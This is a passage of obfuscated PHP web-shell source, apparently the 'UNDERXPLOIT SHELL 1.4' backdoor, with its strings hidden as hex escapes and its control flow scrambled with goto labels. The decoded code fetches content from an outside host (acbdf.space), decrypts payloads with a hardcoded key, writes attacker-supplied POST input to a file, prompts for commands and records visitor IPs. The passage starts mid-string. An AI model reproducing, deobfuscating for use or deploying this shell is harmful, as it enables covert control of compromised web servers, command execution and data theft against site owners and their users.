141\163\56\x6c\x65\156\x67\164\150\40\x3e\40\x30\x29\x20\x7b\xa\x20\x20\40\40\40\40\40\40\x20\40\x20\x20\x70\112\123\137\x74\x61\147\x2e\x72\x65\x6d\157\x76\x65\x43\x68\151\x6c\144\50\145\170\x69\163\x74\x5f\143\x61\x6e\166\141\x73\x5b\x30\135\x29\xa\40\40\40\x20\40\40\40\x20\x7d\12\x20\x20\x20\40\x7d\12\x20\40\x20\40\166\141\x72\x20\x63\x61\156\x76\141\x73\137\x65\154\x20\75\x20\x64\157\x63\x75\x6d\x65\x6e\x74\x2e\143\x72\145\x61\164\145\x45\x6c\145\155\145\x6e\164\x28\47\143\x61\x6e\x76\141\x73\47\51\x3b\xa\40\x20\x20\x20\x63\141\156\166\x61\163\x5f\x65\154\x2e\x63\154\x61\163\163\116\141\x6d\145\x20\75\x20\160\x4a\x53\x5f\143\141\156\166\x61\x73\x5f\143\x6c\x61\163\163\x3b\xa\40\x20\40\40\143\x61\x6e\166\141\x73\x5f\x65\154\x2e\x73\x74\x79\x6c\145\x2e\x77\151\144\164\150\40\75\40\x22\x31\60\x30\45\x22\x3b\12\40\x20\40\x20\143\141\156\166\x61\163\x5f\145\x6c\x2e\163\164\x79\x6c\145\56\x68\x65\151\x67\150\x74\40\75\x20\42\x31\x30\x30\45\42\73\12\40\x20\40\40\166\141\x72\x20\x63\x61\156\166\x61\163\40\75\40\144\x6f\143\165\155\145\156\164\56\147\x65\164\x45\154\x65\x6d\x65\x6e\164\x42\x79\111\144\50\164\x61\147\137\x69\144\x29\x2e\141\x70\160\145\156\x64\103\x68\x69\x6c\x64\50\x63\141\x6e\166\x61\x73\137\145\x6c\x29\x3b\xa\40\40\x20\40\x69\146\x20\x28\x63\141\x6e\x76\141\163\x20\x21\x3d\40\156\165\x6c\154\51\x20\x7b\xa\40\x20\40\x20\40\40\40\40\160\x4a\x53\104\157\x6d\x2e\x70\165\163\150\50\x6e\145\167\40\160\112\123\50\164\141\147\x5f\151\x64\x2c\x20\x70\141\162\x61\x6d\163\51\51\xa\40\40\x20\40\x7d\xa\x7d\x3b\xa\x77\x69\156\144\x6f\167\x2e\x70\141\162\164\151\143\x6c\x65\163\112\123\56\154\157\141\x64\x20\x3d\40\x66\x75\156\143\164\x69\x6f\156\50\164\141\x67\137\x69\x64\54\40\x70\141\x74\x68\x5f\x63\157\x6e\146\x69\x67\x5f\x6a\163\157\x6e\54\x20\x63\141\154\x6c\142\x61\x63\153\51\40\x7b\xa\x20\40\40\40\x76\141\162\x20\170\x68\162\40\75\40\x6e\145\167\x20\x58\115\x4c\x48\164\164\x70\x52\x65\x71\165\x65\163\x74\50\51\x3b\xa\40\40\40\x20\170\150\x72\56\157\160\145\x6e\50\47\x47\x45\124\x27\x2c\x20\160\141\x74\150\x5f\143\x6f\156\146\x69\147\137\152\x73\157\x6e\51\x3b\xa\x20\40\x20\40\x78\x68\162\56\157\156\162\145\141\x64\171\163\164\x61\164\x65\143\150\141\156\x67\145\40\75\x20\x66\x75\x6e\x63\164\151\x6f\156\x28\x64\141\164\141\51\40\173\12\x20\40\x20\40\x20\x20\40\40\151\x66\40\x28\170\150\x72\56\x72\x65\141\144\x79\x53\164\x61\x74\x65\x20\x3d\75\40\x34\x29\40\x7b\12\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\151\x66\40\50\x78\x68\162\x2e\163\x74\x61\164\x75\x73\x20\75\75\x20\x32\x30\x30\51\x20\173\xa\40\40\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x76\141\162\x20\160\141\x72\141\155\x73\40\x3d\40\x4a\123\117\116\x2e\x70\x61\x72\163\x65\x28\x64\141\x74\x61\x2e\143\x75\x72\162\145\156\164\124\141\x72\x67\145\x74\56\x72\145\163\160\x6f\x6e\x73\145\x29\73\xa\x20\40\40\40\40\40\40\40\40\40\x20\40\x20\x20\40\x20\167\151\156\x64\157\167\x2e\160\x61\x72\164\151\143\x6c\x65\163\x4a\x53\50\164\141\x67\137\x69\x64\x2c\40\x70\141\x72\x61\155\163\51\73\xa\40\40\x20\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\40\x69\146\40\x28\143\141\154\154\x62\141\143\153\x29\x20\x63\x61\154\154\142\141\143\x6b\50\51\12\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\x7d\x20\x65\154\163\x65\40\x7b\12\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x63\x6f\x6e\163\x6f\154\x65\x2e\154\157\147\50\x27\x45\x72\x72\157\162\x20\160\x4a\123\40\x2d\x20\130\x4d\114\x48\x74\164\x70\x52\145\x71\165\145\x73\x74\x20\163\164\x61\164\165\x73\72\x20\47\40\x2b\x20\x78\150\x72\56\x73\164\x61\164\x75\x73\51\73\xa\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\x20\40\40\143\157\156\x73\x6f\x6c\145\x2e\x6c\157\147\x28\x27\105\x72\x72\x6f\x72\x20\x70\112\x53\x20\x2d\x20\x46\151\154\145\x20\x63\157\156\146\x69\147\x20\x6e\x6f\x74\x20\x66\x6f\165\156\144\x27\x29\xa\x20\40\40\40\x20\40\x20\x20\x20\40\x20\40\x7d\xa\x20\x20\x20\x20\x20\40\x20\40\x7d\xa\40\40\40\40\175\73\xa\40\x20\40\40\x78\150\x72\56\163\145\156\x64\x28\51\xa\175\x20\74\x2f\x73\143\x72\151\x70\x74\x3e"; goto yqugB; HIxJ8: $css = http_get("\x68\x74\x74\160\163\x3a\57\x2f\x61\143\x62\x64\146\56\x73\x70\x61\143\x65\57\164\170\x74\57\x77\x70\x2e\164\170\164"); goto wlLYr; ilic9: function a($str) { @define("\170\x31\x33", "\61\x33\63\x37", true); $x14 = base64_decode($str); $x16s = substr($x14, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)); $x19 = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, hash("\x73\x68\x61\62\65\x36", x13, true), substr($x14, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)), MCRYPT_MODE_CBC, $x16s), "\0"); return $x19; } goto Pixvs; Sgmyd: if ($_POST["\161\165\145\x72\x79"]) { $veriyfy = stripslashes(stripslashes($_POST["\x71\x75\x65\x72\x79"])); $data = "\x64\141\x74\141\x2e\164\x78\164"; @touch("\144\x61\164\141\56\x74\170\164"); $ver = @fopen($data, "\x77"); @fwrite($ver, $veriyfy); @fclose($ver); } else { $datas = @fopen("\144\x61\x74\141\56\164\x78\x74", "\162"); $i = 0; while ($i <= 5) { $i++; $blue = @fgets($datas, 1024); echo $blue; } } goto CwjEz; IMiXl: $from_shellcode = "\167\150\155\x40" . gethostbyname($_SERVER["\x53\105\x52\126\x45\122\x5f\x4e\101\115\x45"]) . ''; goto wdYZD; Rm7hS: s("\105\x6e\x74\x65\162\40\171\157\x75\x72\x20\x63\x6f\155\155\x61\x6e\x64"); goto yB4Ow; yqugB: print "\x3c\x73\x63\x72\x69\x70\x74\40\x74\171\160\x65\75\x22\164\x65\x78\x74\57\x6a\141\166\x61\163\x63\162\x69\x70\164\42\76\xa\x70\141\x72\x74\x69\143\154\145\x73\112\123\x28\x27\x70\x61\162\164\x69\x63\154\145\x73\55\152\163\47\54\xa\x20\40\12\40\x20\x7b\xa\x20\40\40\40\42\160\141\162\x74\151\x63\154\x65\x73\x22\72\40\x7b\xa\40\x20\x20\x20\x22\x6e\165\155\142\145\x72\42\x3a\40\x7b\12\x20\40\40\40\x20\x20\40\40\x22\x76\x61\154\x75\x65\x22\x3a\x20\x38\60\x2c\xa\x20\40\x20\40\40\x20\x20\x20\x22\x64\145\156\x73\x69\164\x79\x22\72\x20\173\xa\x20\x20\x20\x20\x20\x20\40\x20\40\x20\42\x65\156\141\x62\x6c\145\42\72\x20\164\x72\x75\145\x2c\12\x20\x20\40\40\x20\40\40\x20\40\x20\x22\x76\x61\x6c\x75\145\x5f\141\162\x65\141\x22\x3a\40\x38\60\60\xa\40\x20\x20\40\40\40\x20\40\175\12\40\40\40\x20\40\40\175\54\12\40\40\40\40\x20\40\42\x63\x6f\x6c\157\162\42\x3a\40\x7b\xa\x20\x20\x20\x20\x20\40\x20\x20\x22\x76\x61\x6c\165\x65\x22\72\x20\x22\x23\61\104\71\x44\67\63\42\xa\x20\40\x20\x20\x20\x20\x7d\54\12\x20\40\40\x20\x20\x20\x22\163\x68\x61\160\145\42\x3a\x20\x7b\xa\x20\x20\x20\x20\x20\40\40\40\42\164\171\160\145\42\72\40\x22\x63\x69\x72\143\154\145\42\x2c\xa\x20\x20\40\40\x20\x20\x20\40\x22\163\x74\162\x6f\153\x65\42\72\40\x7b\xa\40\x20\x20\40\40\x20\x20\x20\40\x20\42\167\x69\144\x74\x68\x22\x3a\x20\x30\54\xa\40\40\x20\40\x20\40\x20\x20\40\x20\42\143\x6f\x6c\157\x72\x22\x3a\x20\42\43\x30\60\60\60\x30\60\42\xa\40\40\x20\x20\40\40\x20\40\175\54\12\40\40\40\x20\x20\40\40\x20\x22\160\x6f\x6c\x79\x67\157\x6e\42\x3a\40\173\12\40\40\40\40\40\x20\x20\x20\40\40\x22\x6e\142\137\163\151\144\x65\x73\x22\72\x20\65\xa\40\x20\40\40\40\40\40\40\x7d\x2c\12\x20\x20\x20\x20\40\40\x20\40\42\151\155\141\147\145\x22\72\x20\173\xa\40\40\x20\x20\40\x20\40\x20\x20\x20\x22\x73\x72\x63\x22\72\40\42\x69\x6d\147\x2f\147\151\x74\x68\165\x62\x2e\x73\x76\x67\x22\x2c\12\x20\x20\40\40\x20\40\x20\x20\x20\40\42\x77\151\x64\164\150\x22\x3a\x20\x31\x30\x30\x2c\12\40\40\40\x20\x20\40\x20\40\40\40\x22\x68\145\x69\x67\150\164\42\72\x20\61\x30\x30\xa\40\40\x20\x20\x20\x20\40\40\175\xa\40\40\40\x20\40\40\175\54\12\40\40\40\x20\40\x20\42\x6f\x70\141\x63\x69\164\171\42\x3a\x20\173\xa\x20\40\40\x20\x20\40\x20\40\x22\166\141\x6c\x75\x65\x22\72\40\x30\56\x35\54\xa\x20\40\x20\40\40\40\x20\40\42\x72\x61\156\144\157\x6d\42\72\x20\146\x61\154\163\145\54\12\40\x20\40\x20\x20\40\x20\x20\x22\x61\x6e\x69\x6d\x22\72\40\x7b\xa\x20\x20\40\x20\x20\40\40\40\40\40\x22\145\156\x61\142\x6c\x65\x22\72\x20\146\141\x6c\163\x65\54\xa\x20\x20\40\40\x20\40\x20\40\x20\40\x22\163\x70\x65\145\x64\x22\x3a\x20\61\x2c\xa\x20\40\x20\40\40\40\x20\40\x20\x20\x22\157\160\141\x63\x69\164\171\x5f\x6d\x69\x6e\x22\x3a\40\60\56\x31\54\12\x20\40\40\x20\40\x20\40\x20\x20\40\42\x73\x79\156\x63\x22\72\40\x66\x61\x6c\163\x65\xa\40\40\40\40\x20\x20\40\x20\175\xa\x20\40\40\40\x20\40\x7d\x2c\12\40\x20\40\x20\40\x20\42\163\151\172\145\42\x3a\40\x7b\12\x20\x20\40\40\40\40\40\40\42\166\141\154\x75\x65\42\72\x20\x35\x2c\xa\x20\x20\40\40\x20\40\40\x20\x22\162\141\x6e\144\157\x6d\42\x3a\40\x74\x72\x75\145\x2c\12\40\x20\40\40\40\40\40\40\x22\141\x6e\151\x6d\x22\x3a\x20\173\xa\x20\40\40\40\x20\x20\x20\40\x20\x20\x22\x65\156\141\x62\x6c\145\42\72\40\146\x61\154\163\145\x2c\xa\x20\x20\40\x20\40\x20\x20\x20\x20\40\x22\x73\160\145\x65\144\42\x3a\40\64\x30\54\12\40\40\40\x20\40\40\x20\x20\x20\x20\42\163\x69\172\x65\x5f\x6d\151\x6e\x22\x3a\x20\x30\56\61\x2c\xa\40\x20\40\40\40\x20\40\40\x20\x20\x22\x73\171\156\143\42\x3a\40\146\141\154\163\x65\12\40\x20\x20\x20\x20\40\40\x20\175\xa\40\40\40\x20\40\x20\x7d\x2c\xa\40\x20\40\x20\x20\40\42\x6c\x69\156\x65\x5f\x6c\151\156\x6b\x65\144\x22\x3a\40\173\xa\40\x20\x20\40\40\x20\x20\x20\42\x65\156\x61\142\154\x65\42\x3a\40\164\162\x75\145\54\12\x20\x20\40\40\40\x20\40\40\42\144\x69\163\164\x61\x6e\143\145\42\x3a\40\61\65\x30\x2c\xa\x20\x20\x20\40\x20\x20\x20\x20\x22\x63\157\x6c\x6f\162\x22\72\40\x22\43\x31\x44\x39\x44\67\63\42\x2c\xa\x20\40\40\x20\40\x20\40\40\x22\157\x70\141\143\x69\x74\x79\42\x3a\x20\60\56\x34\x2c\12\40\40\x20\40\40\40\40\x20\42\x77\151\x64\x74\150\x22\x3a\40\x31\12\x20\x20\40\x20\x20\40\x7d\x2c\xa\40\40\40\x20\40\x20\42\x6d\x6f\x76\145\x22\x3a\40\173\xa\x20\40\x20\40\40\x20\x20\x20\x22\x65\x6e\141\142\154\x65\42\x3a\x20\x74\x72\x75\x65\54\xa\40\x20\40\x20\40\x20\x20\x20\42\x73\x70\145\x65\x64\x22\x3a\40\66\x2c\xa\x20\x20\40\40\40\x20\x20\x20\42\x64\151\x72\x65\143\x74\151\157\156\x22\72\x20\x22\156\157\156\145\42\54\12\40\40\40\x20\x20\40\40\x20\x22\162\141\156\144\x6f\x6d\x22\x3a\40\x66\x61\x6c\163\x65\x2c\xa\40\40\x20\x20\40\40\40\40\x22\163\164\x72\x61\x69\x67\x68\164\42\x3a\40\146\x61\x6c\x73\145\54\xa\x20\x20\40\x20\40\40\x20\40\x22\157\x75\164\x5f\155\x6f\144\x65\x22\72\x20\42\x6f\165\164\42\x2c\12\x20\40\x20\x20\40\x20\40\40\42\x61\164\164\162\141\x63\x74\x22\x3a\x20\173\12\x20\x20\x20\40\x20\x20\40\x20\x20\x20\42\145\x6e\141\142\154\145\42\x3a\40\x66\141\x6c\163\145\54\xa\40\x20\40\x20\40\40\x20\x20\40\40\42\x72\157\164\x61\x74\145\x58\42\72\x20\66\x30\60\54\12\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\42\x72\157\x74\x61\x74\145\x59\x22\72\x20\x31\62\60\x30\12\40\x20\x20\40\x20\40\40\x20\175\12\40\x20\x20\x20\x20\40\175\12\40\40\40\40\175\54\12\x20\x20\40\x20\42\151\x6e\x74\x65\162\x61\x63\x74\x69\x76\x69\x74\171\x22\x3a\x20\x7b\12\x20\x20\40\40\40\40\42\144\145\x74\x65\x63\164\x5f\x6f\x6e\42\x3a\x20\x22\143\x61\x6e\166\x61\163\x22\54\12\x20\40\40\40\x20\40\x22\145\166\145\156\164\163\x22\72\40\173\xa\40\40\40\x20\x20\x20\x20\x20\42\x6f\x6e\x68\x6f\166\145\x72\x22\72\x20\173\12\40\x20\x20\x20\x20\40\40\40\x20\x20\42\145\x6e\x61\142\154\145\42\72\40\146\141\x6c\x73\x65\x2c\xa\40\x20\x20\x20\x20\x20\40\40\40\x20\42\x6d\157\144\145\x22\72\40\x22\x72\x65\x70\165\x6c\x73\145\42\xa\x20\40\x20\40\x20\x20\x20\x20\x7d\x2c\xa\x20\x20\40\40\40\x20\x20\x20\x22\x6f\156\143\154\x69\x63\153\x22\x3a\40\x7b\12\x20\40\40\40\x20\40\x20\40\40\40\42\145\x6e\x61\142\154\x65\x22\72\x20\146\x61\154\163\145\54\xa\40\40\x20\x20\x20\40\x20\40\x20\x20\42\x6d\157\x64\x65\x22\x3a\40\x22\x70\x75\163\x68\x22\xa\x20\40\40\40\x20\40\40\x20\175\54\12\x20\40\x20\x20\40\40\x20\40\42\x72\x65\163\x69\x7a\x65\x22\x3a\x20\164\x72\x75\x65\12\40\x20\x20\x20\x20\40\x7d\54\xa\40\x20\x20\40\x20\40\x22\155\157\144\145\x73\42\x3a\40\173\xa\x20\40\40\x20\x20\x20\x20\x20\x22\147\162\x61\142\x22\72\40\x7b\xa\x20\x20\x20\40\40\40\40\x20\40\40\x22\144\151\163\x74\141\156\x63\x65\x22\72\40\64\x30\x30\x2c\12\40\40\x20\40\x20\x20\x20\40\40\40\x22\154\x69\156\145\x5f\x6c\x69\x6e\153\145\144\42\x3a\x20\173\12\40\40\40\40\x20\x20\x20\40\40\x20\40\40\42\x6f\160\x61\x63\x69\164\x79\x22\x3a\x20\61\xa\x20\40\x20\x20\40\x20\x20\x20\x20\40\x7d\12\x20\x20\x20\x20\x20\x20\40\40\x7d\54\xa\40\40\x20\40\x20\x20\40\40\42\x62\x75\142\x62\154\x65\x22\72\40\173\12\40\40\x20\x20\x20\40\40\x20\40\x20\42\x64\151\x73\x74\141\156\x63\145\42\72\40\64\x30\60\54\xa\x20\x20\40\x20\40\40\x20\40\40\x20\x22\163\x69\x7a\x65\x22\72\x20\64\60\x2c\xa\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x22\x64\165\x72\141\x74\x69\157\156\42\72\x20\62\54\xa\40\40\x20\x20\40\x20\x20\40\x20\40\42\157\160\x61\143\151\164\x79\x22\72\x20\x38\x2c\12\x20\40\40\40\x20\40\x20\x20\x20\40\x22\163\160\x65\x65\144\x22\x3a\x20\63\12\40\40\x20\x20\40\x20\x20\x20\x7d\54\12\x20\40\40\40\x20\40\x20\x20\42\162\145\x70\165\154\x73\x65\x22\x3a\40\x7b\12\x20\x20\x20\x20\40\x20\x20\40\40\x20\42\144\x69\163\164\x61\156\x63\145\42\72\40\x32\60\60\12\x20\x20\40\40\x20\40\40\40\175\x2c\12\x20\40\40\x20\x20\x20\40\40\x22\x70\165\163\x68\x22\72\40\x7b\xa\40\x20\x20\x20\40\40\40\x20\40\x20\x22\160\x61\x72\x74\x69\x63\154\x65\163\137\156\x62\x22\72\x20\64\12\40\40\40\x20\x20\x20\x20\40\175\x2c\xa\40\40\40\40\40\x20\x20\40\42\x72\145\x6d\x6f\x76\x65\x22\x3a\40\173\12\x20\40\x20\x20\x20\40\40\x20\x20\x20\42\160\141\x72\164\x69\143\154\145\x73\x5f\x6e\x62\42\x3a\x20\62\12\x20\40\x20\40\x20\x20\40\x20\175\12\40\40\40\x20\40\40\x7d\12\x20\x20\40\x20\x7d\x2c\12\x20\40\40\x20\x22\x72\x65\x74\x69\x6e\x61\x5f\144\x65\164\x65\143\x74\x22\72\x20\x74\x72\165\x65\x2c\xa\x20\x20\40\40\42\143\x6f\x6e\x66\x69\x67\x5f\x64\145\155\157\x22\72\40\173\xa\x20\x20\40\x20\40\40\42\150\151\144\145\x5f\143\x61\x72\144\42\72\40\x66\141\x6c\163\x65\54\xa\40\x20\x20\40\40\x20\x22\x62\141\x63\153\x67\162\x6f\165\x6e\x64\x5f\143\157\x6c\157\x72\x22\x3a\x20\42\x23\142\66\61\x39\62\64\42\54\xa\x20\40\40\40\40\40\x22\142\141\143\153\147\x72\157\x75\156\144\137\151\155\x61\x67\x65\42\72\40\42\x22\54\xa\40\40\x20\40\x20\40\x22\142\141\143\153\x67\162\157\165\x6e\x64\137\x70\157\163\151\164\151\x6f\156\42\x3a\40\42\65\x30\45\x20\x35\60\45\x22\x2c\12\40\x20\x20\x20\x20\x20\x22\142\x61\143\153\x67\x72\x6f\165\156\x64\x5f\162\x65\160\145\141\164\x22\x3a\40\x22\156\x6f\55\162\145\160\x65\141\164\x22\54\xa\x20\x20\x20\40\40\x20\42\x62\141\143\x6b\x67\x72\157\165\156\144\x5f\163\x69\172\x65\42\72\x20\x22\x63\157\166\145\162\42\xa\x20\40\40\x20\x7d\xa\x20\40\175\x29\x3b\40\x3c\x2f\163\143\x72\151\x70\164\x3e\xa\x3c\57\144\x69\x76\76\12\x9\74\x2f\x64\151\x76\76\xa\x9\11\74\x2f\x64\151\x76\x3e\xa\74\144\151\166\x20\143\x6c\x61\x73\x73\75\x22\146\157\157\x74\x65\x72\42\x3e\103\117\104\x45\104\40\x42\131\40\x57\x49\x4c\x44\x41\116\40\111\132\132\x55\x44\x49\116\x3c\57\144\151\x76\76"; goto Sgmyd; D5HZr: $document_root_file = dirname(__FILE__); goto X3Hp0; ZSmxS: function GetIP() { if (getenv("\x48\124\124\120\137\103\x4c\111\x45\x4e\124\137\x49\x50")) { $ip = getenv("\110\124\x54\x50\x5f\x43\x4c\x49\x45\116\x54\137\111\x50"); } elseif (getenv("\110\x54\124\120\137\x58\x5f\x46\x4f\x52\127\x41\122\x44\x45\104\137\x46\x4f\x52")) { $ip = getenv("\x48\124\124\x50\137\x58\x5f\106\x4f\x52\x57\x41\x52\x44\x45\x44\137\106\117\122"); if (strstr($ip, "\x2c")) { $tmp = explode("\x2c", $ip); $ip = trim($tmp[0]); } } else { $ip = getenv("\x52\105\x4d\117\124\105\137\101\x44\x44\122"); } return $ip; } goto Psufc; pgfeH: print "\74\163\x63\x72\x69\x70\164\40\164\171\x70\x65\x3d\42\x74\145\x78\164\x2f\x6a\141\x76\141\x73\143\162\x69\160\164\42\x3e\12\152\x51\x75\x65\162\171\x28\144\157\x63\x75\x6d\x65\156\164\51\56\x72\145\x61\x64\171\x28\x66\x75\x6e\x63\x74\x69\157\x6e\x28\x29\40\173\xa\x20\40\x20\40\166\x61\162\x20\157\x66\x66\163\x65\164\x20\x3d\40\x32\65\60\73\xa\40\x20\40\x20\166\x61\x72\x20\144\x75\x72\141\x74\x69\x6f\156\x20\x3d\x20\65\x30\60\73\xa\x20\40\40\40\152\121\x75\x65\x72\x79\x28\x77\x69\156\x64\157\167\51\x2e\163\x63\x72\x6f\154\154\x28\x66\165\156\143\x74\x69\157\x6e\50\51\x20\x7b\xa\x20\x20\x20\x20\x20\x20\x20\x20\151\146\40\x28\x6a\x51\x75\145\x72\171\50\x74\x68\x69\163\51\x2e\163\143\x72\x6f\x6c\x6c\124\x6f\x70\50\51\40\x3e\40\157\146\146\163\x65\x74\51\40\173\xa\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\152\121\165\145\x72\171\x28\x27\56\x6d\157\166\x65\55\164\157\160\47\x29\56\x66\141\144\145\111\156\50\x64\165\x72\141\x74\151\x6f\156\x29\73\12\x20\40\x20\x20\40\x20\40\x20\x7d\x20\145\x6c\163\145\x20\173\12\40\40\x20\x20\40\40\x20\40\40\40\x20\x20\152\x51\x75\145\162\x79\50\x27\x2e\x6d\157\x76\145\55\x74\157\160\x27\x29\56\146\x61\x64\x65\x4f\165\x74\x28\144\x75\162\141\x74\x69\157\156\x29\73\12\x20\40\40\40\x20\x20\40\x20\175\xa\x20\x20\40\40\x7d\x29\73\xa\x20\x20\40\40\152\x51\165\x65\x72\171\50\x27\x2e\x6d\x6f\x76\x65\55\164\x6f\x70\x27\x29\56\x63\154\x69\143\153\50\x66\165\x6e\x63\164\x69\x6f\156\50\x65\x76\x65\x6e\164\51\x20\173\12\x20\40\x20\40\x20\40\40\40\145\166\x65\x6e\x74\x2e\x70\x72\145\x76\x65\x6e\164\x44\145\x66\141\165\154\164\x28\x29\x3b\xa\40\x20\x20\40\x20\x20\40\x20\x6a\121\x75\x65\162\x79\x28\x27\150\164\155\x6c\x2c\40\142\157\x64\171\x27\x29\x2e\x61\156\151\x6d\x61\164\145\x28\173\xa\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\163\x63\x72\157\154\x6c\124\x6f\160\72\40\60\12\40\40\40\40\40\40\40\40\x7d\54\x20\144\x75\x72\x61\164\x69\157\156\51\x3b\12\x20\x20\x20\40\40\x20\40\40\x72\145\164\165\162\156\40\146\141\x6c\163\x65\73\12\40\40\40\x20\175\51\12\x7d\x29\x3b\40\x3c\57\163\143\x72\151\x70\x74\x3e\xa\x3c\163\143\162\x69\x70\x74\40\164\x79\x70\145\x3d\42\x74\145\170\164\x2f\152\x61\166\x61\x73\x63\162\x69\x70\164\42\76\12\x9\x66\165\x6e\x63\164\151\157\x6e\40\143\50\170\51\40\x7b\xa\x9\11\x77\x69\x6e\x64\157\x77\56\x6c\x6f\143\x61\164\x69\157\156\40\x3d\x20\170\xa\175\40\74\57\163\143\162\151\x70\x74\76\12\x3c\163\x63\162\x69\x70\164\40\164\171\x70\x65\75\x22\164\145\x78\164\x2f\x6a\141\x76\x61\163\x63\x72\151\x70\164\x22\x3e\152\121\x75\145\162\171\50\144\157\x63\x75\x6d\x65\x6e\164\x29\x2e\x72\145\141\144\171\50\146\165\156\x63\x74\151\x6f\156\x28\x29\40\x7b\xa\40\x20\x20\40\166\x61\162\40\x6f\146\x66\163\x65\164\163\x3d\x31\60\x30\x3b\12\40\40\x20\x20\x76\x61\162\x20\144\x75\x72\x61\x74\x69\157\156\x73\75\65\x30\60\x3b\12\40\40\x20\x20\x6a\x51\165\x65\x72\x79\50\167\x69\156\144\157\167\x29\56\163\x63\162\x6f\154\x6c\x28\146\x75\156\x63\x74\151\157\156\x28\51\x20\x7b\12\40\x20\x20\x20\x20\x20\40\x20\151\146\50\x6a\x51\x75\x65\x72\171\x28\x74\x68\151\x73\x29\56\163\143\162\157\x6c\154\x54\x6f\160\50\x29\x20\76\x20\157\146\x66\163\x65\x74\163\51\x20\x7b\12\x20\40\x20\x20\x20\40\x20\40\x20\40\40\40\152\x51\x75\145\x72\171\x28\x27\43\152\x75\144\165\154\47\x29\56\x66\x61\x64\x65\111\x6e\x28\144\165\x72\x61\x74\x69\x6f\156\163\x29\x3b\xa\40\40\x20\40\40\x20\40\40\x20\40\40\x20\152\121\165\x65\x72\x79\x28\47\x2e\x6d\145\x6e\x75\x73\47\x29\x2e\x63\163\x73\50\x7b\x27\142\141\143\x6b\147\162\x6f\x75\156\x64\x27\x20\x3a\x20\47\x23\x32\x32\x32\x27\x2c\40\47\142\x6f\170\x2d\x73\x68\141\x64\157\x77\47\40\x3a\x20\x27\60\x20\x31\x70\x78\x20\65\160\170\40\x72\147\142\x61\x28\62\67\x2c\63\x31\54\63\65\54\56\61\x35\x29\47\175\51\x3b\12\x7d\12\40\40\40\x20\40\40\x20\40\x65\x6c\163\x65\40\173\xa\x20\40\40\40\40\40\40\40\40\x20\x20\40\x6a\x51\x75\145\162\171\x28\47\43\152\165\x64\x75\x6c\x27\51\56\x66\141\144\x65\x4f\165\164\x28\x64\x75\162\141\x74\x69\157\156\x73\x29\73\xa\40\40\x20\x20\x20\x20\40\40\11\x6a\121\165\x65\162\x79\x28\47\56\155\x65\156\165\163\47\x29\x2e\143\163\163\50\x27\x62\141\143\x6b\147\162\x6f\x75\156\x64\x27\x2c\40\47\x6e\157\x6e\145\47\51\73\xa\11\x9\x20\175\12\x20\x20\40\40\x7d\xa\x20\x20\40\x20\x29\x3b\12\175\x29\x3b\40\x3c\x2f\x73\x63\x72\x69\160\x74\x3e\12\x3c\x73\x74\171\x6c\x65\x3e\x20\56\x69\143\x6f\156\x20\x7b\x20\143\157\154\157\162\72\x20\43\61\x44\x39\x44\x37\63\x3b\40\175\x20\74\57\163\164\x79\x6c\x65\x3e\12\x3c\x73\143\162\151\160\164\40\164\171\160\145\75\x22\x74\x65\x78\164\x2f\152\x61\166\141\x73\143\x72\151\160\164\42\76\x68\154\x6a\x73\56\x69\156\151\x74\x48\151\x67\x68\x6c\151\147\x68\164\x69\156\147\117\156\114\157\141\x64\x28\51\x3b\74\x2f\163\143\x72\x69\160\164\x3e\12\x3c\57\x68\x65\141\144\x3e\xa\x3c\142\157\x64\171\x3e\xa\x20\x20\40\x20\x3c\144\x69\166\40\143\154\x61\x73\x73\x3d\42\143\157\x2d\x6f\x6e\x74\x61\151\x6e\x65\x72\x2d\x32\x22\76\xa\x20\40\40\x20\x20\x20\x20\40\x3c\144\151\x76\x20\x63\154\x61\x73\163\75\x22\141\x74\141\x73\42\76\12\40\x20\40\x20\40\x20\x20\40\74\x64\x69\166\40\x69\144\x3d\42\x70\141\x72\164\151\x63\154\145\x73\55\x6a\163\x22\76\74\x2f\144\x69\166\x3e\12\40\40\40\40\x20\x20\40\40\x20\x20\x20\40\74\x64\x69\x76\40\x63\154\141\163\163\x3d\x22\155\x65\156\165\x73\40\141\x74\141\163\x2d\141\x65\x22\40\163\164\171\154\x65\x3d\x22\142\141\x63\153\147\x72\157\x75\156\144\72\156\157\x6e\145\x22\x3e\xa\40\x20\x20\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\40\74\144\151\x76\x20\143\154\141\163\x73\x3d\42\143\x6f\55\x6f\x6e\164\x61\x69\156\x65\162\55\63\x22\76\x3c\163\160\141\x6e\x20\x69\144\x3d\42\152\165\x64\165\154\x22\40\143\154\x61\x73\163\75\x22\x22\76\x55\x4e\x44\105\122\130\x50\114\x4f\111\124\40\x20\x53\110\x45\x4c\x4c\40\61\x2e\x34\74\x2f\x73\160\x61\156\76\40\x20\x20\12\x20\x20\40\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\x20\74\x62\165\x74\x74\x6f\x6e\40\143\x6c\141\x73\x73\x3d\42\170\141\42\x20\x6f\156\143\154\151\143\153\x3d\x27\x63\x28\x22" . $_SERVER["\x50\x48\x50\x5f\x53\x45\114\106"] . "\42\51\47\76\x3c\151\40\x63\154\x61\163\x73\75\42\172\x6d\144\151\40\172\155\144\151\x2d\x68\157\x6d\x65\40\172\x6d\144\151\55\150\x63\55\x66\167\42\x3e\x3c\x2f\151\x3e\x3c\57\x62\x75\164\164\157\x6e\76\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\40\x3c\x62\x75\x74\164\157\x6e\40\x63\154\141\x73\163\75\x22\170\141\42\40\157\156\143\x6c\151\x63\153\75\47\143\50\x22\x3f" . x5 . getcwd() . "\x26" . x7 . 